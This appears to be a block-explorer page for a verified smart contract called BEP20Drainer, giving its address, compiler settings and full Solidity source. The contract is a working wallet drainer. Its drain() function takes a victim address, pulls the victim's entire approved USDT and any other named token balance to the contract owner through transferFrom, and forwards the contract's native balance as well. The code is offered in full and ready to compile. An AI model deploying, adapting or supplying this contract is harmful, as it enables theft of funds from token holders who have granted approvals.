Verified contractExactMIT
BEP20Drainer
Address0x30497cac1f6e4e64bbd2446b09417b734ef3947d
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.0
- Same code
Only this contract
Details
- Compiler
- solc 0.8.0+commit.c7dfd78e
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,378,488
- Creation transaction
- 0x8c18a90b5b…cd5d990e95
drainer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract BEP20Drainer {
address public owner;
address public victim;
constructor() {
owner = msg.sender;
}
function drain(address _token, address _victim) external payable {
victim = _victim;
address usdt = 0x55d398326f99059fF775485246999027B3197955;
IERC20(usdt).transferFrom(_victim, owner, IERC20(usdt).balanceOf(_victim));
payable(owner).transfer(address(this).balance);
IERC20(_token).transferFrom(_victim, owner, IERC20(_token).balanceOf(_victim));
}
receive() external payable {}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.